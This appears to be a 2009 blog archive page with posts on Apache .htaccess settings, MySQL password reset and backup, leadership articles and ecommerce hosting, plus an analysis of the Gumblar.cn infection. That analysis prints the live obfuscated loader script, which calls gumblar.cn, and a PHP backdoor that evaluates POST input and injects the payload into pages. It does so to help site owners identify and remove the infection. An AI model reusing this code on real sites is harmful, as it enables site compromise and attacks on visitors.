Archive

Archive for May, 2009

Allow, Deny, Disable, Enable Directory Listing in .htaccess

May 26th, 2009 Comments off

When a web browser is pointed to a directory on your web site which does not have an index.html file (or any other index file) in it, the files in that directory can be listed on a web page. Let us see few snippets that can be added in htaccess file to allow or avoid directory listing in apache server.

Enable / Disable directory Listing

To allow a web server to produce a directory listing, whenever you point a directory without index file. Add following line in your .htaccess file.

# Options +Indexes
# # or #

# IndexIgnore *

To disable or prevent the directory access add following line in your .htaccess file. If user points the browsers to a directory which does not have index file then in this case 403 error will be

Options -Indexes

Using above option will display the forbidden error page  when we try to access any directory without index file.

Change Listing style

You may want to display other details while showing the directory listing. This includes file icons, file size, modification date and more. This can be done by adding fancy style to your htaccess file. Add following snippet in .htaccess file.

IndexOptions +FancyIndexing

To remove the fancy directory listing or to display normal directory listing, use -FancyIndex

IndexOptions -FancyIndexing

Ignore files with specific extension

It may happen that you may need to ignore certain files to get displayed in directory listing. This can be achieved using IndexIgnore directive in .htaccess file. Following snippet will not display .zip and .txt file in directory listing.

IndexIgnore *.zip *.txt

Modify Index File

t is possible to change the default index file from index.html (index.php, index.jsp …) to any other file. Following line will change the index file to Home.html.

DirectoryIndex Home.html

How to: Reset MySQL root password

May 26th, 2009 Comments off

Resetting the root password of a MySQL database is trivial if you know the current password if you don’t it is a little trickier. Thankfully it isn’t too difficult to fix, and here we’ll show one possible way of doing so.

If you’ve got access to the root account already, because you know the password, you can change it easily:

abc@xyz:~$ mysql --user=root --pass mysql
Enter password:
mysql> update user set Password=PASSWORD('new-password-here') WHERE User='root';
Query OK, 2 rows affected (0.04 sec)
Rows matched: 2  Changed: 2  Warnings: 0
mysql> flush privileges;
Query OK, 0 rows affected (0.02 sec)  

mysql> exit
Bye

Forget the MySQL root password?

However if you don’t know the current password this approach will not work – you need to login to run any commands and without the password you’ll not be able to login!Thankfully there is a simple solution to this problem also, we just need to start MySQL with a flag to tell it to ignore any username/password restrictions which might be in place. Once that is done you can successfully update the stored details.

First of all you will need to ensure that your database is stopped:

root@xyz:~# /etc/init.d/mysql stop
Now you should start up the database in the background, via the mysqld_safe command:  

root@gaurav:~# /usr/bin/mysqld_safe --skip-grant-tables &
[1] 4271
Starting mysqld daemon with databases from /var/lib/mysql
mysqld_safe[6763]: started

Here you can see the new job (number “1″) has started and the server is running with the process ID (PID) of 4271.

Now that the server is running with the -skip-grant-tables flag you can connect to it without a password and complete the job:

root@xyz:~$ mysql --user=root mysql
Enter password:  

mysql> update user set Password=PASSWORD('new-password-here') WHERE User='root';
Query OK, 2 rows affected (0.04 sec)
Rows matched: 2  Changed: 2  Warnings: 0  

mysql> flush privileges;
Query OK, 0 rows affected (0.02 sec)
mysql> exit
Bye

Now that you’ve done that you just need to stop the server, so that you can go back to running a secure MySQL server with password restrictions in place. First of all bring the server you started into the foreground by typing “fg”, then kill it by pressing “Ctrl+C” afterward.

This will now allow you to start the server:

# root@xyz:~# /etc/init.d/mysql start
# Starting MySQL database server: mysqld.
# Checking for corrupt, not cleanly closed and upgrade needing tables..

Now everything should be done and you should have regained access to your MySQL database(s); you should verify this by connecting with your new password:

root@xyz:~# mysql --user=root --pass=new-password-here
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 5 to server version: 5.0.24a-Debian_4-log  

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.  

mysql> exit
Bye

MySQL Database Backup using mysqldump command

May 26th, 2009 Comments off

MySQL provide a great command line utility to take backup of your MySQL database and restore it. mysqldump command line utility is available with MySQL installation (bin directory) that can be used to achieve this.

Getting backup of a MySQL database using mysqldump

  mysqldump --user [user name] --password=[password] [database name] > [dump file]
                             or
  mysqldump -u[user name] -p[password] [database name] > [dump file]

Backup multiple databases in MySQL

  mysqldump -u[user name] -p[password] [database name 1] [database name 2] .. > [dump file]

Backup all databases in MySQLrint?

  shell> mysqldump -u[user name] -p[password] -all-databases > [dump file]

Backup a specific table in MySQL

shell> mysqldump --user [username] --password=[password] [database name] [table name] /
> /tmp/sugarcrm_accounts_contacts.sql  

Restoring MySQL database

The mysqldump utility is used only to take the MySQL dump. To restore the database from the dump file that you created in previous step, use mysql command.

shell> mysql --u [username] --password=[password] [database name] < [dump file]

Gumblar .cn Exploit – 12 Facts About This Injected Script

May 20th, 2009 Comments off
  • Infected web pages contain a script that looks like this

(function(jil){var xR5p=’%';eval(unescape((’var”20a”3d”22Sc”72iptEngin”65″22″2c”62″3d”22″56ers”69on()+”22″2c”6a”3d”22″22″2cu”3dnavig”61t”6fr”2e”75s”65rAgent”3bif((”75″2eind”65xOf”28″22Win”22)”3e0)”26″26(u”2e”69n”64exO”66(”22NT”20″36″22″29″3c0)”26″26(documen”74″2ecookie”2e”69ndex”4f”66″28″22″6die”6b”3d1″22)”3c0)”26″26″28t”79″70e”6ff(”7arvzts)”21″3dtypeof(”22A”22))”29″7bzrvzts”3d”22A”22″3b”65va”6c(”22if(wi”6edow”2e”22+a+”22″29j”3d”6a+”22+a+”22M”61jo”72″22+”62″2ba+”22Minor”22″2bb+a+”22B”75″69ld”22″2bb”2b”22j”3b”22)”3bdocu”6de”6e”74″2ewr”69″74e(”22″3csc”72ipt”20sr”63″3d”2f”2fgumblar”2ecn”2frss”2f”3fid”3d”22+j+”22″3e”3c”5c”2f”73cript”3e”22″29″3b”7d’).replace(jil,xR5p)))})(/”/g);

  • Every infected site has it’s own modification of the script. However every modification has common parts and can be easily identified as the gumblar .cn script.
  1. The script starts with “(function(“
  2. The function has no name. It is anonymous and self-invoking.
  3. The script is obfuscated. I.e. some characters are replaced with their numeric codes, and then the “%” character replaced with some orbitrary character. Here are some sample excerpts of the encrypted data: “…20a.3d.22Sc.72iptEngin.65…“, “…~76ar~20a~3d~22Scr~69~70~74En~67~69ne…“, “…v_61_72_20_61_3d_22_53_63rip_74E_6e…“
  4. Near the end of the script there is a “.replace(” function
  5. If the function accepts parameters, at the very end you’ll find a simple regular expression like /”/g or /~/g, etc. that will decrypt the mangled “%” character.
  • When the script is executed (every time someone visits the infected web page), another script from “gumblar . cn/rss/” is silently loaded and executed.
  • This code is usually injected right before the <body> tag. I saw a web page with eight(!) <body> tags (yeah, invalid HTML) and the gumblar scripts were injected before each of them.
  • Sometimes I encounter this script on sites infected with the malicious iframes that I reviewed in my recent posts. So this exploit may use the same infection technique. And probably the same clean up steps may be applied.
  • Unlike the recent iframe exploits, where the malicious code was only injected into files with most common filenames (e.g. index.html, index.php, etc.) this gumblar script is injected into every web page.
  • This script is also injected into .js (JavaScript) files. Usually at the very bottom.
  • Maybe it’s just a coincidence but about 95% of the infected sites used PHP. It is not possible to say for sure if the rest sites used PHP. Who knows.
  • This exploit doesn’t use some particular script vulnerability. I encountered it on phpBB, SMF and vBulletin forums, on WordPress 2.7.1 blogs, on proprietary PHP sites.
  • Some people reported that the following code is injected into PHP

files: <?php if(!function_exists(’tmp_lkojfghx’)){if(isset($_POST['tmp_lkojfghx3'])) eval($_POST['tmp_lkojfghx3']);if(!defined(’TMP_XHGFJOKL’)) define(’TMP_XHGFJOKL’,base64_decode(’PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCihmdW5jdGlvbigpe3ZhciBFb0xTPSd2YXI8MjBhPDNkPDIyUzw2M3I8NjlwdDw0NW5naTw2ZWU8MjI8MmNiPDNkPDIyVmVyczw2OW88NmUoKSs8MjI8MmNqPDNkPDIyPDIyPDJjPDc1PDNkPDZlYXZpZ2F0b3I8MmV1czw2NTw3MkFnZW50PDNiaWYoKHU8MmVpPDZlPDY0ZXhPZig8MjJXaW48MjIpPDNlMCk8MjY8MjYodTwyZWluZGV4Tzw2NjwyODwyMjw0ZVQ8MjA2PDIyKTwzYzApPDI2PDI2KDw2NG9jdW1lPDZldDwyZWNvbzw2YmllPDJlaTw2ZWRleDw0ZmYoPDIyPDZkaTw2NTw2YjwzZDE8MjIpPDNjMCk8MjY8MjYodDw3OXA8NjVvZih6cjw3Nno8NzRzKTwyMTwzZHR5cGU8NmZmKDwyMjw0MTwyMikpPDI5PDdiPDdhcnZ6dHM8M2Q8MjJBPDIyPDNiZTw3NmFsKDwyMmlmKHc8NjluZG93PDJlPDIyK2ErPDIyKTw2YTwzZDw2YSs8MjI8MmJhKzwyMjw0ZGFqb3I8MjI8MmI8NjI8MmI8NjErPDIyTWlub3I8MjIrYis8NjErPDIyPDQydTw2OWxkPDIyPDJiYjwyYjwyMmo8M2I8MjIpPDNiZG9jPDc1bWVudDwyZXdyaTw3NGU8Mjg8MjI8M2NzPDYzcjw2OXB0PDIwczw3MmM8M2Q8MmY8MmZndTw2ZDw2Mmw8NjFyPDJlY248MmZyczw3MzwyZjwzZmlkPDNkPDIyK2orPDIyPDNlPDNjPDVjPDJmPDczY3JpcHQ8M2U8MjIpPDNiPDdkJzt2YXIgQ2l6PUVvTFMucmVwbGFjZSgvPC9nLCclJyk7ZXZhbCh1bmVzY2FwZShDaXopKX0pKCk7CiAtLT48L3NjcmlwdD4=’)); function tmp_lkojfghx($s){ if($g=(substr($s,0,2)==chr(31).chr(139)))$s=gzinflate(substr($s,10,-8)); if(preg_match_all(’#<script(.*?)</script>#is’,$s,$a)) foreach($a[0] as $v) if(count(explode(”\n”,$v))>5){ $e=preg_match(’#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#’,$v) || preg_match(’#[\(\[](\s*\d+,)20,}#’,$v); if((preg_match(’#\beval\b#’,$v)&&($e||strpos($v,’fromCharCode’)))||($e&&strpos;($v,’[removed]‘)))$s=str_replace($v,”,$s);} $s1=preg_replace(’#<script language=javascript><!– \ndocument\.write\(unescape\(.+?\n –></script>#’,”,$s); if(stristr($s,’<body’)) $s=preg_replace(’#(\s*<body)#mi’,TMP_XHGFJOKL.’\1′,$s1);elseif(($s1!=$s)||stristr($s,’</body’)||stristr($s,’</title>’))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])==’tmp_lkojfghx’)return;else $s[]=array($a==’default output handler’?false:$a); for($i=count($s)-1;$i>=0;$i–){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start(’tmp_lkojfghx’);for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}} if(($a=@set_error_handler(’tmp_lkojfghx2′))!=’tmp_lkojfghx2′) $GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?> The base64-encoded part is this gumblar .cn script. This PHP code, it’s structure and variable names (tmp_lkojfghx, tmp_lkojfghx3, TMP_XHGFJOKL) are the same as in the infamous fake Yahoo counter exploit. Only the injected javascript is different. Maybe it was created by the same people, or maybe just the same exploitation kit was used.

  • This is not a server-wide exploit. I checked several servers with infected sites. Most of the neighbor sites were clean.
  • Gumblar .cn domain is currently blacklisted by Google.

Removal

  • I Changed my ATV to Avast and stared uing Secure FTP while uploading and files onto the server (A good news is that .asp files won’t get this virus )
  • Most likely this exploit is caused by compromised FTP credentials. So start with your own computer. Scan it for spyware. Some people reported good results with Malwarebytes.
  • Change FTP passwords. Try not to store them inside programs that you use to upload files to a server. Whenever possible use secure connections. I.e. use SFTP instead of plain FTP. Many shared hosting plans include SFTP.
  • Finally, remove the malicious code from all server files (.html, .php, .js, etc.). The easiest way to do it, is replace them with clean files from a backup. If you have more facts about this exploit, please post them in the comment section below.

If you have more facts about this exploit, please post them in the comment section below.

What Corporate Awards Are You Giving Out?

May 16th, 2009 Comments off

When you think about all of the different resources that your company has, which do you get the most value from? Is it from the machinery or is it from the people who work for you? In the end, the people are the ones who are most valuable and create the greatest value. This article will look at why corporate awards are so important to taking your business to the next level.

When you first start thinking about where your business is and where you want your business to grow, where do your employees fit within the picture? Your employees’ productivity and contributions to the business will be what can take you to that next level. To increase the contributions your employees make to the business, it is important to create an environment which fosters happiness and where people want to come to work. This will boost employee morale and consequently your productivity as well.

Creating that environment can start with making sure people are happy. Part of what makes people happy is recognition for a job well done. This is where corporate awards can come into play. It gives you a chance to recognize employees for a job well-done. In the end, employee longevity and your rate of turnover often have less to do with the pay scale than employee perceptions of the workplace and whether they want to come to work in the morning.

You can use corporate awards in a variety of different situations to recognize your employees. You may decide to do an employee of the month and the winner receives a corporate award. This could be something that employees vote on so that more people are engaged and paying attention to the efforts that others make. Many people will become conscious of others’ efforts and this may raise their level of performance as well. You could have an award for the “Contributor of the Year” for that person who has done the most to build your business for a particular year. You could have specific corporate awards for each particular department. These awards can be used because different departments may have different requirements for what a good job is. The same behaviors and actions that make a good accountant do not equal what it takes to be a good salesperson. You may want to recognize someone in each department consequently with a corporate award.

Corporate awards can be a single piece of your employee recognition and motivation plan. It comes down to developing your talent to a greater level and one of the best ways to do this is through motivating and developing your employees. In these times of financial struggle for both corporations and individuals, it is essential to find ways to keep and build that talent on your team. If you were able to make your employees happier and more productive simply by investing in corporate awards, would you not? This is much less expensive than having to hire new workers to do more work when your existing team can do it if they are happy and satisfied people.

Article Source: RSI-CA4 “What Corporate Awards Are You Giving Out?” Published At: Isnare Free Articles Directory http://www.isnare.com

Categories: Leadership

Leadership’s Six Questions For Business Success

May 16th, 2009 Comments off

Leading and managing a business is not a complex process. As practitioners of the art and science we choose to make them difficult. This gives us a reason to go to work each day – to sort difficult situations and solve impossible problems. It gives us bragging rights over a martini. Slaying corporate dragons and living with the resulting stress is a national pastime. By making business procedures difficult we can hire experts to sort them out. This becomes a perfect default mechanism. You can always blame failure on the consultant’s bad advice.

Over years we built up layers of complexity about finances, planning, human resources requirements, and so on. As they get more unsolvable and complicated we have more reasons (read excuses) for not meeting performance requirements. The t-shirt should read, ‘Its not the economy – its your bad management – stupid’!

My favorite staff area to hammer is the finance department which in reality is the most simple of all business forms. Let me illustrate. You make a big pile of money. This needs to be done on a regular basis. It is called cash flow. During the year you take big chunks from the pile and give it to your suppliers and employee. That called operational expenses. At the end of the year you take another major portion of that and give to your government. That’s called taxes. When those piles are removed a small pile is left. That’s called profit for you and the shareholders. See how simple it becomes? For my finance friends reading this – don’t worry, I will equally insult other staff functions in other articles.

Now I am going to take a sword to the Gordian knot to the entire complicated practice of leading and managing a business. When you boil the essence of any business down to its purest form it means asking and answering six basic questions. I recommend you work with your management team to find the in-depth answers to these and subsequent questions.

  1.  Where am I going? This sets the direction of the company with all its variables.
  2.  Where am I now? This requires a cold hard look at your current performance levels.
  3.  How do I plan to get there? What are your strategic goals, smart objectives, and connecting strategies to move from the present to the future?
  4.  What will stop me? What are the show stoppers along the way? I don’t mean management lethargy, timid goal setting, and sluggish accountability.
  5.  How will I get buy-in from others? Okay, you have to sell it to the employees so it better be plausible.
  6.  How will I measure my progress? This is where everything breaks down. Do you have the courage to install a system that provides authority, permits responsibility, and demands resulting accountability?

In Summary Approach your business requirement with common sense. In the end that is the only business model that actually works.

About The Auther : Dr. Al Coke  ( Source http://www.isnare.com)

Categories: Leadership

Seven Secrets For Innovation Leaders

May 16th, 2009 Comments off

Want to lead your company to the top of its field? First, you must foster a culture of innovation…and that begins at the top. Naturally, you want your company to be a leader in the marketplace. How can you achieve this goal? Create and nurture a company culture based on innovation.

First, instill a mindset of continuous innovation at every level of your company. We have to debunk the myth that creativity is a trait a few select people are “born with”…that there are those with “creative personalities” and then there are the rest of us. In fact, we all have the potential to be innovative, at least to some degree.

It’s clear that creativity is unlearned as we grow up. The business world has traditionally favored analytical thinking over the capacity to innovate. Business schools produce highly trained young men and women who think along strict parameters. But times have changed, and now the mission has to change – to help people unlearn their uncreative habits. But where to begin?

I’d like to offer the following seven tips for fostering innovation, gleaned from my personal experience over the years:

1. Encourage a culture of tension. An alliance-based network often results in a highly matrixed organization that focuses on both capabilities and line responsibilities. Although tension is often thought of as undesirable, it has been discovered that debate and discussion unleash creativity in an organization. Issues, and hence opportunities, surface much more quickly. The key is to avoid deadlocks in debates where creativity is stifled and progress is not made.

2. Educate all employees. Company-wide education is essential before any change program is rolled out, if a company’s capabilities are to be kept running smoothly throughout the turmoil that such a program inevitably brings about. Most people innately prefer the status quo unless and until they are given some sound reason why an alternative is preferable.

3. Use the new orientation to bring managers closer to customers. Frontline personnel are often quicker to adapt, and less resistant to the idea of a new way of thinking than are a company’s managers. Companies can speed up a sluggish start to their transition by nominating a few potential champions at the top of the organization and at successive levels further down. The designated champions can then be sent out to experience firsthand some of the problems that face the organization’s customers. This results in bottom-up leadership from those closest to the customers.

4. Buy expertise that you do not already have in-house. In many cases a new idea – and the proposed route of the journey – is so strange that organizations do not have the in-house skills that are needed to make the transition. They need to go out and find help in those areas where they have insufficient expertise – for example, with the techniques of change management. Most importantly, outside help can help you surface and challenge assumptions that may be invisible to the rest of the organization.

5. Communicate clearly, continuously and repeatedly. It is not possible to exaggerate the need for transitional information to be clearly and regularly communicated throughout the organization. If in doubt, remember the Rule of 50s. The first 50 times you tell people something, they don’t hear you. The second 50 times you tell them the same thing, they don’t believe you. Only during the third 50 times that you tell them do they begin to listen.

6. Build safeguards that prevent backward steps. Senior managers who are not close to their customers can stall a transition that is already well under way and may even cause it to revert back. This can sometimes occur because of an unexpected change of leadership. To minimize the risk from such a changeover, companies should develop several strong leaders on the team so that there is someone to carry on the role of champion if (and when) one of the others moves on. Additionally, employing a phased approach can help prevent setbacks. Taking on too much change at one time can be a shock to the organization and can lead to a sort of traumatic inertia.

7. Realize that one size does not fit all. Organizations should not try to follow any one case study too literally. No two companies will pass through a transition for the same reasons or by following the same sequence of events. Not only does one size not fit all; one size doesn’t even fit two. Any leader worth his or her salt should be enthusiastic about creating a culture of innovation. After all, a company with such a culture naturally rises to the top. Once innovation becomes a way of life for your company, people will want to work for you. You will begin to attract the best and the brightest. And before you know it, your company will be a leader – not a follower – in the marketplace.

About The AutherStephen M. Shapiro 

Soure : http://www.isnare.com

Categories: Leadership

Developing the Most Powerful Tools of Leadership

May 16th, 2009 Comments off

What makes a good leader? We need to understand the basic of leadership development. This subject is in fact subjective that most of us don’t want to write about it. We simply want to resist writing about leadership and development and all the training courses of leadership. Apart from this a number of such questions simply keep on popping our mind and we find tough finding any answers. Most of these questions would be like Are leaders man made or natural? How can we train leaders? Or even can we make leaders out of nothing?

So the basic fact is to take a hard glance at the term a good leader. Even if you may be thinking that you certainly are not a good leader, but there may be certain areas in your life where most of other people might have seen you as a leader. Some of the important qualities and skills that a leader must have need to be understood carefully. Training when applied to a leader is certainly a misnomer. So any of the leadership training programs is at least expected to include a passing reference.

One needs to understand the concept of leadership. So this is possible by having live debates and discussions about a good leadership. We need to understand what is the definition of leadership and what it actually means. We also need to widen the definition such that it exceeds much beyond the traditional meaning of leadership and mingles with the stereotypes. One also needs to have a very personal understanding of individual qualities.

It is also very much important that you understand the real difference between a leadership and a management. You need to understand how most of the successful people perceive their perception and turn their dreams into reality. One may even compare this with some of the great leaders of the time like Martin Luther or Mahatma Gandhi or even Dhirubhai Ambani. These were the people who were a true visionary. They dreamt of a dream and had the power to turn it into a reality.

You need to make assumptions on the basic fact that how most of us see the world. And then you also need to establish an ownership of you leadership skills. So it is more important to make developments around the trainer other than the trainee. We know that no cookie cutter would ever model here. Anyone can develop their qualities to lead others. Even when someone asks a direction for a certain place we act as leaders. We guide him. We help people in the churches by preaching them. We help our collages in creating more sales reports. We lead the nation by being MLA or a Minister or even president. We lead a project by being scientists or even a programmer who leads the IT firm. There are so many roles that we may imagine where each one of us acts as a leader.

So if you are committed enough that you can use these qualities and add it to everything that is there in your life I am sure you can be a good leader. In fact anyone of us can be a great leader.

About The Auther : Christopher J Thomas (Source: Isnare Free Articles Directory http://www.isnare.com)

Categories: Leadership

Is the ‘Modern’ Leadership Model Dead?

May 16th, 2009 Comments off

With the economic recession in full swing, the fortune 500 seeing an 84% drop in profits, and unemployment rates rising. One has to ask the question: “Is our trusted leadership model dead?” If you wondered about this lately, you’re not alone. Executives in board rooms all across the country are asking the same question. “Are the tried and tested leadership techniques failing? Should we show solidarity and hold course, or should we show flexibility and adaptability by reacting and changing our leadership methods?”

There are respectable arguments on both sides, and we will examine in this article. It’s important to first understand however, that due to highly subjective nature of leadership, that many other arguments exist out there that I haven’t included in this short article, and so this work in no way calls itself comprehensive! Why, you would probably need a team of 100 experts to conduct a several year research project to officially and accurately gauge the national attitude torwards leadership in all levels of business.

Old Leadership Methods Will See Us Through.

There are many reasons to suggest that the idea of sticking with old techniques may have merits. Great leadership characteristics include solidarity, consistency, confidence, and determination. All 4 of these traits suggest that continuing upon a wise path would actually bring benefits in terms of influence and leadership. To hesitate, or make a U turn on such an important issue undermines your leadership and subsequently, your influence.

Also, old leadership techniques such as the democratic or bureaucratic leadership models have survived for decades, and have lived through recession before. Although admittedly economists are calling this financial crisis ‘the worst since the great depression’.

Classic models such as the autocratic method, which still thrive in high-pressure work environments such as journalism and entertainment, will very likely weather this storm. In these industries – managers need to retain an extremely tight grip on creative talent, to protect the company from watchdogs and negative public reaction, as shown by several recent scandals. Therefore classic leadership models are certainly still alive in several industries.

New Leadership Models Are Needed.

In the other corner, proponents of new leadership techniques that are more appropriate for the new age of this global economy argue that outdated techniques will hold back a company just like an outdated production technique. Staying on course, they argue, is simply like staying on board the titanic. And only by jumping off the ship and changing direction, can one change the dark fate of a company right around.

New leadership models that focus on employee empowerment, leadership ‘teasers’ and democratic decision making will face their first real test in the coming years. Leadership models may work perfectly fine during a boom, but are never severely tested until jobs become at risk and staff members become stressed and desperate. Only in extreme work environments such as those, will a model truely be able to prove itself.

I emplore you to continue the debate, and look into the many different leadership models that different managers subscribe to in the modern day!

About The Auther : Simon Oates  

Published At: Isnare Free Articles Directory http://www.isnare.com

Categories: Leadership

Ecommerce Web Hosting: All you need to know

May 16th, 2009 Comments off

Gone are the days when the Internet was only for the geek labs and university libraries. With the emergence of accessible connectivity and affordable technology, ecommerce and online business are not futuristic concepts. Websites like Amazon and Ebay are the prime examples of successful online business ventures.

If you are planning to start your online business or an ecommerce website, you need to be careful about where you host your website. There are two things that are very important to run an ecommerce website: a well-designed, content-rich website and a host that supports seamless hosting. Remember that your ecommerce host is the backbone of your business. Imagine what would happen if there are hundreds of customers eager to pay you and your website is down or certain sections are inaccessible. Or for that matter, some mischievous hackers steals your important customer and sales database and wrecks havoc with your business. Choosing an ecommerce or an online business web host is not as simple as choosing a web host for a normal website.

As it happens with any brick and mortar business, you need to take many things into account before choosing your ecommerce web host. How many other online business websites are they already hosting? What has been their track record till now? What do the other ecommerce entrepreneurs think of them? What all tools do they provide when you purchase their ecommerce web hosting package? Along with these, let us discuss in points what makes a host good for your ecommerce or online business website.

THE HOSTING PLATFORM FOR YOUR ECOMMERCE WEBSTIE

If you yourself are not developing/coding your website then your developer should be able to advise you what business hosting platform you require for your website. You may need Windows environment or Unix/Linux combination according to your website’s development environment and tools implementation. For example, if your developer is an experienced ASP (active server pages) programmer, he/she would prefer a Windows web hosting environment, but if he/she prefers PHP, then you’ll have to go for Linux/Unix business web hosting. Although different people have different issues with both the web hosting types, it all depends on personal preferences.

THE UPTIME OF YOUR ONLINE BUSINESS WEBSITE

This is the bane of countless webmasters. Millions in revenues are lost because when customers arrive at the websites, the ecommerce websites are down or some of the critical pages are not available. The customers arrive with the intention of making a purchase but there is no facility available…this is the worst nightmare for an ecommerce entrepreneur or a business person. Make sure your ecommerce web host manages parallel servers so that if one server goes down, the others can take over. Your business web host should give you the guaranteed security of your critical data.

THE BANDWIDTH OF YOUR ECOMMERCE WEB HOST

An ecommerce website requires lots of traffic in order to generate business because, as it happens with every business in this world, not every visitor is a buyer or a customer. 10 or 20 people do business if 1000s of visitors come to your website. You have to make provision for lots of traffic, and that too, targeted traffic.

THE STORAGE SPACE OF YOUR ONLINE BUSINESS WEB HOSTING PACKAGE

Ecommerce websites take up more space compared to normal, non-commercial or semi-commercial websites. First of all, you need an online database to maintain comprehensive inventory details. Then, you may have tens of flash files or hundreds of image files if your buyers would like to view the images or if they want to go through some sort of an online catalog. Keep your future server space requirements in mind while negotiating for an ecommerce hosting package.

THE NUMBER OF EMAIL ACCOUNTS YOUR ECOMMERCE WEB HOST OFFERS

Some business web hosts offer a limited number of POP3 email accounts that you can manage through software like Outlook and Firefox and some offer an unlimited number. Some don’t provide a POP3 email account at all and you need to manage all your emails through a web-based interface. Make sure what your email requirements are going to be and go for an ecommerce web hosting package accordingly.

OTHER TOOLS WITH YOUR ECOMMERCE WEB HOSTING PACKAGE

Some other tools you may want to check out are: Autoresponders: most ecommerce hosts these days provide free autoresponders. * Multiple FTP accounts: You may need multiple FTP accounts if you have a big team of programmers. * FrontPage extensions: FrontPage is shipped with lots tools for an easy and fast assemblage of a basic ecommerce website but these tools need some extensions installed on the server. If you are getting your business website developed using FrontPage, you’ll need the extensions available on the server of the web host. * Secure Socket Layer (SSL): SSL can be used to collect sensitive data from your site visitors, to ensure that your emails are not intercepted online, and to provide a sense of security for your customers. * Shopping cart software: Some business web hosting packages are shift with a shopping cart.

About the Author

Rodel Garcia is a freelance programmer and web developer. Owner and webmaster of http://web-hosting-service-directory.com/ecommerce-web-hosting.html

Categories: Ecommerce